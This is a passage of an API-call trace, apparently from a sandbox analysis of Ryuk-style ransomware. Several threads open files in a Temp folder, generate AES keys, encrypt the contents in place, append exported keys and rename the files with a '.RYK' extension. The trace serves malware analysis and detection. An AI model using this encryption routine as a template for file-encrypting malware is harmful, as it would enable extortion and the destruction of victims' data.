	[0213.141] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8d8f620*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8d8f620*=0xf4250) returned 1
	[0213.141] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x8d8f628*=0xe2c, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x8d8f628*=0xe30) returned 1
	[0213.141] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.141] WriteFile (in: hFile=0x6ac, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x8d8f624, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x8d8f624*=0xe30, lpOverlapped=0x0) returned 1
	[0213.141] WriteFile (in: hFile=0x6ac, lpBuffer=0x8d8f650*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8d8f630, lpOverlapped=0x0 | out: lpBuffer=0x8d8f650*, lpNumberOfBytesWritten=0x8d8f630*=0x6, lpOverlapped=0x0) returned 1
	[0213.142] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8d8f640 | out: pbData=0x0*, pdwDataLen=0x8d8f640*=0x10c) returned 1
	[0213.142] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8d8f6b0, pdwDataLen=0x8d8f640 | out: pbData=0x8d8f6b0*, pdwDataLen=0x8d8f640*=0x10c) returned 1
	[0213.142] WriteFile (in: hFile=0x6ac, lpBuffer=0x8d8f6b0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8d8f630, lpOverlapped=0x0 | out: lpBuffer=0x8d8f6b0*, lpNumberOfBytesWritten=0x8d8f630*=0x10c, lpOverlapped=0x0) returned 1
	[0213.142] CloseHandle (hObject=0x6ac) returned 1
	[0213.144] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0213.144] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ly6qu.xls"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ly6qu.xls.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2164
	os_tid = 0x27ac

	[0213.151] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a", dwFileAttributes=0x80) returned 1
	[0213.151] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mjmk8.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0213.152] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x8eaf9b8 | out: lpFileSize=0x8eaf9b8*=25318) returned 1
	[0213.152] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x8eaf9c8 | out: lpFileSize=0x8eaf9c8*=25318) returned 1
	[0213.152] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x61c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.152] ReadFile (in: hFile=0x6ac, lpBuffer=0x8eafa10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8eaf980, lpOverlapped=0x0 | out: lpBuffer=0x8eafa10*, lpNumberOfBytesRead=0x8eaf980*=0x19, lpOverlapped=0x0) returned 1
	[0213.155] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.155] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8eaf998 | out: phKey=0x8eaf998*=0x2b8ff0) returned 1
	[0213.155] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.155] ReadFile (in: hFile=0x6ac, lpBuffer=0x2f90000, nNumberOfBytesToRead=0x62e6, lpNumberOfBytesRead=0x8eaf9a4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x8eaf9a4*=0x62e6, lpOverlapped=0x0) returned 1
	[0213.156] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8eaf9a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8eaf9a0*=0xf4250) returned 1
	[0213.156] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x8eaf9a8*=0x62e6, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x8eaf9a8*=0x62f0) returned 1
	[0213.156] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.156] WriteFile (in: hFile=0x6ac, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x8eaf9a4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x8eaf9a4*=0x62f0, lpOverlapped=0x0) returned 1
	[0213.157] WriteFile (in: hFile=0x6ac, lpBuffer=0x8eaf9d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8eaf9b0, lpOverlapped=0x0 | out: lpBuffer=0x8eaf9d0*, lpNumberOfBytesWritten=0x8eaf9b0*=0x6, lpOverlapped=0x0) returned 1
	[0213.157] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8eaf9c0 | out: pbData=0x0*, pdwDataLen=0x8eaf9c0*=0x10c) returned 1
	[0213.157] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8eafa30, pdwDataLen=0x8eaf9c0 | out: pbData=0x8eafa30*, pdwDataLen=0x8eaf9c0*=0x10c) returned 1
	[0213.157] WriteFile (in: hFile=0x6ac, lpBuffer=0x8eafa30*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8eaf9b0, lpOverlapped=0x0 | out: lpBuffer=0x8eafa30*, lpNumberOfBytesWritten=0x8eaf9b0*=0x10c, lpOverlapped=0x0) returned 1
	[0213.157] CloseHandle (hObject=0x6ac) returned 1
	[0213.159] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0213.159] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mjmk8.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mjmk8.m4a.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2165
	os_tid = 0x27b0

	[0213.167] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx", dwFileAttributes=0x80) returned 0
	[0213.167] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.167] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2166
	os_tid = 0x27b4

	[0213.169] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a", dwFileAttributes=0x80) returned 1
	[0213.170] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qgojs5u056zz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0213.170] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x8fcf578 | out: lpFileSize=0x8fcf578*=91227) returned 1
	[0213.170] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x8fcf588 | out: lpFileSize=0x8fcf588*=91227) returned 1
	[0213.170] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x16339, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.170] ReadFile (in: hFile=0x6ac, lpBuffer=0x8fcf5d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fcf540, lpOverlapped=0x0 | out: lpBuffer=0x8fcf5d0*, lpNumberOfBytesRead=0x8fcf540*=0x19, lpOverlapped=0x0) returned 1
	[0213.173] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.173] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8fcf558 | out: phKey=0x8fcf558*=0x2b8ff0) returned 1
	[0213.173] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.174] ReadFile (in: hFile=0x6ac, lpBuffer=0x3190000, nNumberOfBytesToRead=0x1645b, lpNumberOfBytesRead=0x8fcf564, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x8fcf564*=0x1645b, lpOverlapped=0x0) returned 1
	[0213.175] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8fcf560*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8fcf560*=0xf4250) returned 1
	[0213.175] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x8fcf568*=0x1645b, dwBufLen=0xf4250 | out: pbData=0x3190000*, pdwDataLen=0x8fcf568*=0x16460) returned 1
	[0213.176] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.176] WriteFile (in: hFile=0x6ac, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0x16460, lpNumberOfBytesWritten=0x8fcf564, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x8fcf564*=0x16460, lpOverlapped=0x0) returned 1
	[0213.177] WriteFile (in: hFile=0x6ac, lpBuffer=0x8fcf590*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8fcf570, lpOverlapped=0x0 | out: lpBuffer=0x8fcf590*, lpNumberOfBytesWritten=0x8fcf570*=0x6, lpOverlapped=0x0) returned 1
	[0213.177] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8fcf580 | out: pbData=0x0*, pdwDataLen=0x8fcf580*=0x10c) returned 1
	[0213.178] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8fcf5f0, pdwDataLen=0x8fcf580 | out: pbData=0x8fcf5f0*, pdwDataLen=0x8fcf580*=0x10c) returned 1
	[0213.178] WriteFile (in: hFile=0x6ac, lpBuffer=0x8fcf5f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8fcf570, lpOverlapped=0x0 | out: lpBuffer=0x8fcf5f0*, lpNumberOfBytesWritten=0x8fcf570*=0x10c, lpOverlapped=0x0) returned 1
	[0213.178] CloseHandle (hObject=0x6ac) returned 1
	[0213.180] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0213.180] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qgojs5u056zz.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qgojs5u056zz.m4a.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2167
	os_tid = 0x27b8

	[0213.186] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3", dwFileAttributes=0x80) returned 1
	[0213.187] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0213.188] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x953f958 | out: lpFileSize=0x953f958*=96394) returned 1
	[0213.188] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x953f968 | out: lpFileSize=0x953f968*=96394) returned 1
	[0213.188] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x17768, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.188] ReadFile (in: hFile=0x6ac, lpBuffer=0x953f9b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x953f920, lpOverlapped=0x0 | out: lpBuffer=0x953f9b0*, lpNumberOfBytesRead=0x953f920*=0x19, lpOverlapped=0x0) returned 1
	[0213.192] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.192] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x953f938 | out: phKey=0x953f938*=0x2b8ff0) returned 1
	[0213.192] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.192] ReadFile (in: hFile=0x6ac, lpBuffer=0x3290000, nNumberOfBytesToRead=0x1788a, lpNumberOfBytesRead=0x953f944, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesRead=0x953f944*=0x1788a, lpOverlapped=0x0) returned 1
	[0213.194] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x953f940*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x953f940*=0xf4250) returned 1
	[0213.194] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x953f948*=0x1788a, dwBufLen=0xf4250 | out: pbData=0x3290000*, pdwDataLen=0x953f948*=0x17890) returned 1
	[0213.195] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.195] WriteFile (in: hFile=0x6ac, lpBuffer=0x3290000*, nNumberOfBytesToWrite=0x17890, lpNumberOfBytesWritten=0x953f944, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesWritten=0x953f944*=0x17890, lpOverlapped=0x0) returned 1
	[0213.196] WriteFile (in: hFile=0x6ac, lpBuffer=0x953f970*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x953f950, lpOverlapped=0x0 | out: lpBuffer=0x953f970*, lpNumberOfBytesWritten=0x953f950*=0x6, lpOverlapped=0x0) returned 1
	[0213.196] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x953f960 | out: pbData=0x0*, pdwDataLen=0x953f960*=0x10c) returned 1
	[0213.196] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x953f9d0, pdwDataLen=0x953f960 | out: pbData=0x953f9d0*, pdwDataLen=0x953f960*=0x10c) returned 1
	[0213.196] WriteFile (in: hFile=0x6ac, lpBuffer=0x953f9d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x953f950, lpOverlapped=0x0 | out: lpBuffer=0x953f9d0*, lpNumberOfBytesWritten=0x953f950*=0x10c, lpOverlapped=0x0) returned 1
	[0213.197] CloseHandle (hObject=0x6ac) returned 1
	[0213.198] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0213.198] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2168
	os_tid = 0x27bc

	[0213.200] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt", dwFileAttributes=0x80) returned 1
	[0213.201] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qwbhm.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0213.201] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x941fb18 | out: lpFileSize=0x941fb18*=61307) returned 1
	[0213.201] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x941fb28 | out: lpFileSize=0x941fb28*=61307) returned 1
	[0213.202] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0xee59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.202] ReadFile (in: hFile=0x6ac, lpBuffer=0x941fb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x941fae0, lpOverlapped=0x0 | out: lpBuffer=0x941fb70*, lpNumberOfBytesRead=0x941fae0*=0x19, lpOverlapped=0x0) returned 1
	[0213.204] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.204] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x941faf8 | out: phKey=0x941faf8*=0x2b8ff0) returned 1
	[0213.204] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.205] ReadFile (in: hFile=0x6ac, lpBuffer=0x3390000, nNumberOfBytesToRead=0xef7b, lpNumberOfBytesRead=0x941fb04, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesRead=0x941fb04*=0xef7b, lpOverlapped=0x0) returned 1
	[0213.206] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x941fb00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x941fb00*=0xf4250) returned 1
	[0213.206] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3390000*, pdwDataLen=0x941fb08*=0xef7b, dwBufLen=0xf4250 | out: pbData=0x3390000*, pdwDataLen=0x941fb08*=0xef80) returned 1
	[0213.207] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.207] WriteFile (in: hFile=0x6ac, lpBuffer=0x3390000*, nNumberOfBytesToWrite=0xef80, lpNumberOfBytesWritten=0x941fb04, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesWritten=0x941fb04*=0xef80, lpOverlapped=0x0) returned 1
	[0213.208] WriteFile (in: hFile=0x6ac, lpBuffer=0x941fb30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x941fb10, lpOverlapped=0x0 | out: lpBuffer=0x941fb30*, lpNumberOfBytesWritten=0x941fb10*=0x6, lpOverlapped=0x0) returned 1
	[0213.208] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x941fb20 | out: pbData=0x0*, pdwDataLen=0x941fb20*=0x10c) returned 1
	[0213.208] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x941fb90, pdwDataLen=0x941fb20 | out: pbData=0x941fb90*, pdwDataLen=0x941fb20*=0x10c) returned 1
	[0213.208] WriteFile (in: hFile=0x6ac, lpBuffer=0x941fb90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x941fb10, lpOverlapped=0x0 | out: lpBuffer=0x941fb90*, lpNumberOfBytesWritten=0x941fb10*=0x10c, lpOverlapped=0x0) returned 1
	[0213.209] CloseHandle (hObject=0x6ac) returned 1
	[0213.210] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0213.211] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qwbhm.odt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qwbhm.odt.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2169
	os_tid = 0x27c0

